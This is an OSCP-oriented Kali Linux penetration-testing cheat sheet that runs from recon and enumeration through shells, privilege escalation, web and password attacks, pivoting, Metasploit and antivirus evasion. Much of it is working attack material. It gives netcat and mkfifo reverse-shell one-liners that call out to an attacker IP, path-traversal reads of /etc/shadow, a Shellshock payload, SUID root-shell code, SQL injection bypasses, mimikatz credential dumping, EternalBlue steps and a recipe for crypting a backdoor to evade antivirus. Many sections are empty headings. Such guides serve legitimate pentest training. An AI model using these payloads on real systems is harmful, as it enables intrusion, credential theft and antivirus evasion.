OSCP Survival Guide
OSCP Survival Guide
<pre>
_____ _____ _____ ______ _____ _ _ _____ _
_
| _ / ___/ __ \| ___ \ / ___| (_) | | | __ \
(_) | |
| | | \ `--.| / \/| |_/ / \ `--. _ _ _ ____ _____ ____ _| | | | \/_ _ _
__| | ___
| | | |`--. \ | | __/ `--. \ | | | '__\ \ / / \ \ / / _` | | | | __| | | |
|/ _` |/ _ \
\ \_/ /\__/ / \__/\| | /\__/ / |_| | | \ V /| |\ V / (_| | | | |_\ \ |_| |
| (_| | __/
\___/\____/ \____/\_| \____/ \__,_|_| \_/ |_| \_/ \__,_|_| \____/\__,_|
_|\__,_|\___|
</pre>
Kali Linux Offensive Security Certified Professional Playbook
**NOTE: This document reffers to the target ip as the export variable $ip.**
**To set this value on the command line use the following syntax:**
**export ip=192.168.1.100**
https://www.youtube.com/watch?v=HBMZWl9zcsc
The good news is that I will be learning more and adding more content to this guide
:D
## Table of Contents
- [Kali Linux](#kali-linux)
- [Information Gathering & Vulnerability Scanning](#information-gathering--
vulnerability-scanning)
* [Passive Information Gathering](#passive-information-gathering)
* [Active Information Gathering](#active-information-gathering)
* [Port Scanning](#port-scanning)
* [Enumeration](#enumeration)
* [HTTP Enumeration](#http-enumeration)
- [Buffer Overflows and Exploits](#buffer-overflows-and-exploits)
- [Shells](#shells)
- [File Transfers](#file-transfers)
- [Privilege Escalation](#privilege-escalation)
* [Linux Privilege Escalation](#linux-privilege-escalation)
* [Windows Privilege Escalation](#windows-privilege-escalation)
- [Client, Web and Password Attacks](#client-web-and-password-attacks)
* [Client Attacks](#client-attacks)
* [Web Attacks](#web-attacks)
* [File Inclusion Vulnerabilities LFI/RFI](#file-inclusion-vulnerabilities)
* [Database Vulnerabilities](#database-vulnerabilities)
* [Password Attacks](#password-attacks)
* [Password Hash Attacks](#password-hash-attacks)
- [Networking, Pivoting and Tunneling](#networking-pivoting-and-tunneling)
- [The Metasploit Framework](#the-metasploit-framework)
- [Bypassing Antivirus Software](#bypassing-antivirus-software)
Kali Linux
===================================================================================
=====================
- Change Password
`passwd`
- Start a service
`systemctl start ssh `
- Stop a service
`systemctl stop ssh`
- Unzip a gz file
`gunzip access.log.gz`
- Download a webpage
`wget http://www.cisco.com`
- Open a webpage
`curl http://www.cisco.com`
- String manipulation
`tail index.html`
- Download Netcat for Windows (handy for creating reverse shells and
transfering files on windows systems):
[https://joncraton.org/blog/46/netcat-for-windows/](https://joncraton.org/
blog/46/netcat-for-windows/)
- Some OSs (OpenBSD) will use nc.traditional rather than nc so watch out for
that...
whereis nc
nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz
/bin/nc.traditional -e /bin/bash 1.2.3.4 4444
or
- Ncat - Netcat for Nmap project which provides more security avoid
IDS
- Wireshark
- Show only SMTP (port 25) and ICMP traffic:
`tcp.port eq 25 or icmp`
`ip.addr == xxx.xxx.xxx.xxx`
Equals
` ip.addr != xxx.xxx.xxx.xxx`
Equals
- Tcpdump
- IPTables
-----------------------------------------------------------------------------------
----------------------------------------
- Google Hacking
- Google inurl
`inurl:"level/15/sexec/-/show"`
- Email Harvesting
- Simply Email
`git clone https://github.com/killswitch-GUI/SimplyEmail.git `
`./SimplyEmail.py -all -e TARGET-DOMAIN`
- Netcraft
- Whois Enumeration
`whois domain-name-here.com `
`whois $ip`
- Banner Grabbing
`cd /opt/recon-ng `
`./recon-ng `
`show modules `
`help`
-----------------------------------------------------------------------------------
---------------------------------------
<!-- -->
- Port Scanning
-----------------------------------------------------------------------------------
------------------------
*Subnet Reference Table*
- Nmap OS Fingerprinting
`nmap -O $ip`
- Enumeration Scan
`nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt`
- Enumeration Scan All Ports TCP / UDP and output to a txt file
`nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip`
- Quick Scan:
`nmap -T4 -F $ip/24`
- Quick traceroute
`nmap -sn --traceroute $ip`
- Ping scan
`nmap -sn $ip/24`
- Scan with Active connect in order to weed out any spoofed ports designed to
troll you
`nmap -p1-65535 -A -T5 -sT $ip`
- Enumeration
-----------
- DNS Enumeration
- Host Lookup
`host -t ns megacorpone.com`
- DNSEnum
`dnsenum zonetransfer.me`
- NMap Discovery
[*https://nmap.org/nsedoc/categories/discovery.html*](https://nmap.org/
nsedoc/categories/discovery.html)
- SMB Enumeration
- SMB OS Discovery
`nmap $ip --script smb-os-discovery.nse`
`nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or
dos or external or fuzzer)' --script-args=unsafe=1 $ip`
`enum4linux $ip `
`enum4linux -a $ip`
OR
- POP3 Enumeration - Reading other peoples mail - You may find usernames and
passwords for email accounts, so here is how to check the mail using Telnet
list
+OK 2 1807
1 786
2 1021
retr 1
Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
- `snmpenum -t $ip`
- SNMPv3 Enumeration
`nmap -sV -p 161 --script=snmp-info $ip/24`
`curl http://$ip:10000//unauthenticated/..
%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/.
.%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/
..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd`
`curl http://$ip:10000//unauthenticated/..
%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/.
.%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/
..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow`
- Linux OS Enumeration
- List the allowed (and forbidden) commands for the invoking use
`sudo -l`
- Windows OS Enumeration
- hostname
- net users
- ipconfig /all
- route print
- arp -A
- netstat -ano
- tasklist /SVC
- net start
- DRIVERQUERY
- File Enumeration
- HTTP Enumeration
----------------
- Nikto
`nikto -h $ip`
Recurse level 3
`wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --
sc 200 $ip/FUZZ`
<!-- -->
- auxiliary/scanner/rservices/rsh\_login
- Finger Enumeration
- finger @$ip
- finger batman@$ip
- Steganography
- netstat -tulpn
- Login at:
https://$ip:9392
- DEP and ASLR - Data Execution Prevention (DEP) and Address Space
Layout Randomization (ASLR)
- Nmap Fuzzers:
- MSFvenom
[*https://www.offensive-security.com/metasploit-unleashed/msfvenom/*](https://
www.offensive-security.com/metasploit-unleashed/msfvenom/)
- Controlling EIP
locate pattern_create
pattern_create.rb -l 2700
locate pattern_offset
pattern_offset.rb -q 39694438
- Bypass DEP if present by finding a Memory Location with Read and Execute
access for JMP ESP
- Use NASM to determine the HEX code for a JMP ESP instruction
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
JMP ESP
00000000 FFE4 jmp esp
Shells
===================================================================================
================================================
(For example when you encounter an error message when trying to run an
exploit sh: no job control in this shell )
- You may encounter limited shells that use rbash and only allow you to
execute a single command per session.
You can overcome this by executing an SSH shell to your localhost:
`echo os.system('/bin/bash')`
`/bin/sh -i`
lua: `os.execute('/bin/sh')`
- PHP powered web browser Shell b374k with file upload etc.
[https://github.com/b374k/b374k](https://github.com/b374k/b374k)
*Linux*
*Windows*
*Mac*
**Web Payloads**
*PHP*
OR
Then we need to add the <?php at the first line of the file so that it will
execute as a PHP webpage:
`cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste
>> shell.php`
*ASP*
*JSP*
*WAR*
**Scripting Payloads**
*Python*
*Bash*
*Perl*
**Shellcode**
**Handlers**
Metasploit handlers can be great at quickly setting up Metasploit to be in a
position to receive your incoming shells. Handlers should be in the following
format.
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z
Once the required values are completed the following command will execute
your handler – ‘msfconsole -L -r ‘
use auxiliary/scanner/ssh/ssh_login
use post/multi/manage/shell_to_meterpreter
- Shellshock
ssh -vvv
ssh -i noob noob@$ip '() { :;}; /bin/bash'
File Transfers
===================================================================================
=========================
- Windows file transfer script that can be pasted to the command line. File
transfers to a Windows machine can be tricky without a Meterpreter shell. The
following script can be copied and pasted into a basic windows reverse and used to
transfer files from a web server (the timeout 1 commands are required after each
new line):
`C:\temp\cscript.exe webdl.vbs`
- HTTP Put
nmap -p80 $ip --script http-put --script-args
http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php
- Uploading Files
-----------------------------------------------------------------------------------
--------------------------
- SCP
scp username1@source_host:directory1/filename1
username2@destination_host:directory2/filename2
- Webdav with Davtest- Some sysadmins are kind enough to enable the PUT
method - This tool will auto upload a backdoor
https://github.com/cldrn/davtest
You can also upload a file using the PUT method with the curl command:
And rename it to an executable file using the MOVE method with the curl
command:
- TFTP
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /usr/share/windows-binaries/nc.exe /tftp/
EX. FROM WINDOWS HOST:
C:\\Users\\Offsec>tftp -i $ip get nc.exe
- FTP
apt-get update && apt-get install pure-ftpd
\#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
- Packing Files
-----------------------------------------------------------------------------------
--------------------------
Privilege Escalation
===================================================================================
===============================
*Password reuse is your friend. The OSCP labs are true to life, in the way that
the users will reuse passwords across different services and even different boxes.
Maintain a list of cracked passwords and test them on new machines you encounter.*
-----------------------------------------------------------------------------------
-------------------------------------
- Defacto Linux Privilege Escalation Guide - A much more through guide for linux
enumeration:
[https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://
blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
- Try the obvious - Maybe the user can sudo to root:
`sudo su`
- Here are the commands I have learned to use to perform linux enumeration and
privledge escalation:
- There are a few scripts that can automate the linux enumeration process:
[https://www.securitysift.com/download/linuxprivchecker.py](https://
www.securitysift.com/download/linuxprivchecker.py)
[https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/
LinEnum)
[https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/
linux-exploit-suggester)
- Linux Privilege Exploit Suggester (Old has not been updated in years)
[https://github.com/PenturaLabs/Linux\_Exploit\_Suggester](https://github.com/
PenturaLabs/Linux_Exploit_Suggester)
[https://github.com/reider-roque/linpostexp](https://github.com/reider-roque/
linpostexp)
[https://www.exploit-db.com/exploits/14814/](https://www.exploit-db.com/
exploits/14814/)
below are some quick copy and paste examples for various
shells:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
- Create and compile an SUID from a limited shell (no file transfer)
- Handy command if you can get a root user to run it. Add the www-data user to
Root SUDO group with no password requirement:
- You may find a command is being executed by the root user, you may be able to
modify the system PATH environment variable
to execute your command instead. In the example below, ssh is replaced with a
reverse shell SUID connecting to 10.10.10.1 on
port 4444.
set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1
4444 >/tmp/f" >> /tmp/ssh
chmod +x ssh
- SearchSploit
`./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0`
- Precompiled Linux Kernel Exploits - ***Super handy if GCC is not installed on
the target machine!***
[*https://www.kernel-exploits.com/*](https://www.kernel-exploits.com/)
-----------------------------------------------------------------------------------
---------------------------------------
- Try the getsystem command using meterpreter - rarely works but is worth a try.
cadavar http://$ip
dav:/> put aspshell.txt
Uploading aspshell.txt to `/aspshell.txt':
Progress: [=============================>] 100.0% of 38468 bytes
succeeded.
dav:/> copy aspshell.txt aspshell3.asp;.txt
Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt': succeeded.
dav:/> exit
curl http://$ip/aspshell3.asp;.txt
- Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:
https://www.exploit-db.com/exploits/6705/
https://github.com/Re4son/Churrasco
c:\Inetpub>churrasco
churrasco
/churrasco/-->Usage: Churrasco.exe [-d] "command to run"
- Powershell Exploits - You may find that some Windows privledge escalation
exploits are written in Powershell. You may not have an interactive shell that
allows you to enter the powershell prompt. Once the powershell script is uploaded
to the server, here is a quick one liner to run a powershell command from a basic
(cmd.exe) shell:
MS16-032 https://www.exploit-db.com/exploits/39719/
- Windows Run As - Switching users in linux is trival with the `SU` command.
However, an equivalent command does not exist in Windows. Here are 3 ways to run a
command as a different user in Windows.
scsiaccess.exe
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
Everyone:(I)(F)
`dir /s Groups.xml`
`type Groups.xml`
`gpp-decrypt
riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB`
-----------------------------------------------------------------------------------
-------------------------
-----------------------------------------------------------------------------------
----------------------
- Web Shells
[*http://tools.kali.org/maintaining-access/webshells*](http://tools.kali.org/
maintaining-access/webshells)
ls -l /usr/share/webshells/
- OWASP Dirbuster
- nikto -h $ip
-----------------------------------------------------------------------------------
------------------------------------------
- For Local File Inclusions look for the include() function in PHP
code.
include("lang/".$\_COOKIE\['lang'\]);
include($\_GET\['page'\].".php");
[*http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php*]
(about:blank)
- For a Remote File Inclusion look for php code that is not sanitized and
passed to the PHP include function and the php.ini
file must be configured to allow remote files
`include($_REQUEST["file"].".php");`
`http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://
192.168.10.5/evil.txt `
-----------------------------------------------------------------------------------
-----------------------------------
- Authentication Bypass
name='wronguser' or 1=1;
name='wronguser' or 1=1 LIMIT 1;
`http://192.168.11.35/comment.php?id=738)'`
`http://$ip/comment.php?id=738 order by 1`
Create a backdoor
- **SQLMap Examples**
- Scan url for union + error based injection with mysql backend and use a
random user agent + database dump
- Enumerate databases
`sqlmap --dbms=mysql -u
"http://www.example.com/param1=value1¶m2=value2" --dbs -p param2 `
`sqlmap --dbms=mysql -u
"http://www.example.com/param1/value1*/param2/value2" --dbs `
- Get OS shell
- SQL query
- **NoSQLMap Examples**
You may encounter NoSQL instances like MongoDB in your OSCP journies (`/cgi-
bin/mongo/2.2.3/dbparse.py`). NoSQLMap can help you to automate NoSQLDatabase
enumeration.
- NoSQLMap Installation
- Password Attacks
-----------------------------------------------------------------------------------
---------------------------
- AES Decryption
http://aesencryption.net/
- CIRT
[*http://www.cirt.net/passwords*](http://www.cirt.net/passwords)
-
[*http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedD
evices.php*](http://www.governmentsecurity.org/articles/
DefaultLoginsandPasswordsforNetworkedDevices.php)
- Virus.org
[*http://www.virus.org/default-password/*](http://www.virus.org/default-password/)
- Default Password
[*http://www.defaultpassword.com/*](http://www.defaultpassword.com/)
- Brute Force
- Nmap Brute forcing Scripts
[*https://nmap.org/nsedoc/categories/brute.html*](https://nmap.org/
nsedoc/categories/brute.html)
- Dictionary Files
- crunch 8 8 -t ,@@^^%%%
- wce -w
- Mimikatz
[*https://github.com/gentilkiwi/mimikatz*](https://github.com/gentilkiwi/mimikatz)
From metasploit meterpreter (must have System level access):
`meterpreter> load mimikatz
meterpreter> help mimikatz
meterpreter> msv
meterpreter> kerberos
meterpreter> mimikatz_command -f samdump::hashes
meterpreter> mimikatz_command -f sekurlsa::searchPasswords`
- Password Profiling
- Medusa
- Ncrack
- Hydra
-----------------------------------------------------------------------------------
--------------------------------
- Online Password Cracking
[*https://crackstation.net/*](https://crackstation.net/)
- Hashcat
Needed to install new drivers to get my GPU Cracking to work on the Kali linux
VM and I also had to use the --force parameter.
apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev
and
apt-get install pocl-opencl-icd
Create a .hash file with all the hashes you want to crack
puthasheshere.hash:
```
$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/
```
- Sample Hashes
[*http://openwall.info/wiki/john/sample-hashes*](http://openwall.info/
wiki/john/sample-hashes)
- Identify Hashes
`hash-identifier`
- `john $ip.pwdump`
`export
SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896 `
- `cat /etc/rinetd.conf `
`\# bindadress bindport connectaddress connectport `
`w.x.y.z 53 a.b.c.d 80`
- HTTP Tunneling
- http tunnel
On server side:
`sudo hts -F <server ip addr>:<port of your app> 80 `
On client side:
`sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip
addr>:80 stunnel`
- Tunnel on port 22
- Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel
(bypass deep packet inspection)
- Windows machine add required firewall rules without prompting the user
- `netsh advfirewall firewall add rule name="httptunnel_client" dir=in
action=allow program="httptunnel_client.exe" enable=yes`
`httptunnel_client.exe`
- VLAN Hopping
- VPN Hacking
`ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IP `
Use psk-crack to crack the PSK hash
`psk-crack hash-file.txt
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --
charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-
207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key`
- PPTP Hacking
- Port Forwarding/Redirection
- SSH Pivoting
- DNS Tunneling
`apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install`
- Run dnscat2:
`ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422`
- Target Machine:
https://downloads.skullsecurity.org/dnscat2/
https://github.com/lukebaggett/dnscat2-powershell/
- Metasploit
- MSF Syntax
- Start metasploit
`msfconsole `
`msfconsole -q`
`show -h`
`show auxiliary`
- Use a module
`use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/http/webdav_scanner
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/ftp/ftp_login
use exploit/windows/pop3/seattlelab_pass`
`info`
`show options`
`run`
- Execute an Exploit
`exploit`
`hosts`
`db_nmap`
`services -p 443`
- Staged - sent in two parts Not have enough buffer space Or need to bypass
antivirus
- MS 17-010 - EternalBlue
- You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue).
Although, not offically part of the indended course, this exploit can be leveraged
to gain SYSTEM level access to a Windows box. I have never had much luck using the
built in Metasploit EternalBlue module. I found that the elevenpaths version works
much more relabily. Here are the instructions to install it taken from the
following YouTube video:
https://www.youtube.com/watch?v=4OHLor9VaRI
`dpkg --add-architecture i386 && apt-get update && apt-get install wine32
rm -r ~/.wine
wine cmd.exe
exit`
I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.
`use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10
RHOST => 10.11.1.73
msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe
PROCESSINJECT => spoolsv.exe
msf exploit(eternalblue_doublepulsar) > run`
`sysinfo`
`getuid`
`search -f *pass*.txt`
- Upload a file
- Download a file
`shell`
`exit`
`payload
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST $ip
set LPORT 443
exploit
[*] Started HTTPS reverse handler on https://$ip:443/`
- `mkdir -p ~/.msf4/modules/exploits/linux/misc
cd ~/.msf4/modules/exploits/linux/misc
cp
/usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb
./crossfire.rb
nano crossfire.rb`
`background`
`cp /usr/share/windows-binaries/Hyperion-1.0.zip
unzip Hyperion-1.0.zip
cd Hyperion-1.0/
i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll .
cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll .
wine hyperion.exe ../backdoor.exe ../crypted.exe`
- OSCP Journey
[*https://scriptkidd1e.wordpress.com/oscp-journey/*](https://scriptkidd1e.wordpress
.com/oscp-journey/)
[*http://www.techexams.net/forums/security-certifications/110760-oscp-jollyfrogs-
tale.html*](http://www.techexams.net/forums/security-certifications/110760-oscp-
jollyfrogs-tale.html)
- [*https://www.vulnhub.com/*](https://www.vulnhub.com/)
[*https://www.root-me.org/*](https://www.root-me.org/)
- Sickos - Walkthrough:
[*https://highon.coffee/blog/sickos-1-walkthrough/*](https://highon.coffee/
blog/sickos-1-walkthrough/)
Sickos - Inspired by Labs in OSCP
[*https://www.vulnhub.com/series/*](https://www.vulnhub.com/series/sickos,70/)
[sickos](https://www.vulnhub.com/series/sickos,70/)[*,70/*](https://
www.vulnhub.com/series/sickos,70/)
[*https://www.vulnhub.com/series/lord-of-the-root,67/*](https://www.vulnhub.com/
series/lord-of-the-root,67/)
- OSCP Cheatsheets
[*https://github.com/slyth11907/Cheatsheets*](https://github.com/slyth11907/
Cheatsheets)
- CEH Cheatsheet
[*https://scadahacker.com/library/Documents/Cheat\_Sheets/Hacking%20-%20CEH
%20Cheat%20Sheet%20Exercises.pdf*](https://scadahacker.com/library/Documents/
Cheat_Sheets/Hacking%20-%20CEH%20Cheat%20Sheet%20Exercises.pdf)
[*https://highon.coffee/blog/security-harden-centos-7/*](https://highon.coffee/
blog/security-harden-centos-7/)
- MetaSploit Cheatsheet
[*https://www.sans.org/security-resources/sec560/misc\_tools\_sheet\_v1.pdf*]
(https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf)
[*http://hackingandsecurity.blogspot.com/2016/04/oscp-related-notes.html*](http://
hackingandsecurity.blogspot.com/2016/04/oscp-related-notes.html)
- NetCat
- [*http://www.sans.org/security-resources/sec560/netcat\_cheat\_sheet\_v1.pdf*]
(http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf)
- [*http://www.secguru.com/files/cheatsheet/nessusNMAPcheatSheet.pdf*](http://
www.secguru.com/files/cheatsheet/nessusNMAPcheatSheet.pdf)
- [*http://sbdtools.googlecode.com/files/hping3\_cheatsheet\_v1.0-ENG.pdf*]
(http://sbdtools.googlecode.com/files/hping3_cheatsheet_v1.0-ENG.pdf)
- [*http://sbdtools.googlecode.com/files/Nmap5%20cheatsheet%20eng%20v1.pdf*]
(http://sbdtools.googlecode.com/files/Nmap5%20cheatsheet%20eng%20v1.pdf)
- [*http://www.sans.org/security-resources/sec560/misc\_tools\_sheet\_v1.pdf*]
(http://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf)
- [*http://rmccurdy.com/scripts/Metasploit%20meterpreter%20cheat%20sheet
%20reference.html*](http://rmccurdy.com/scripts/Metasploit%20meterpreter%20cheat
%20sheet%20reference.html)
- [*http://h.ackack.net/cheat-sheets/netcat*](http://h.ackack.net/cheat-sheets/
netcat)
Essentials
===================================================================================
=====================
- Exploit-db
[*https://www.exploit-db.com/*](https://www.exploit-db.com/)
- Exploit Exercises
[*https://exploit-exercises.com/*](https://exploit-exercises.com/)
- Security Tube
[*http://www.securitytube.net/*](http://www.securitytube.net/)
- Metasploit Unleashed - free course on how to use Metasploit
[*https://www.offensive-security.com/metasploit-unleashed*](https://
www.offensive-security.com/metasploit-unleashed/)*/*
- Fuzzy Security
[*http://www.fuzzysecurity.com/tutorials/16.html*](http://www.fuzzysecurity.com/
tutorials/16.html)
- accesschk.exe
https://technet.microsoft.com/en-us/sysinternals/bb664922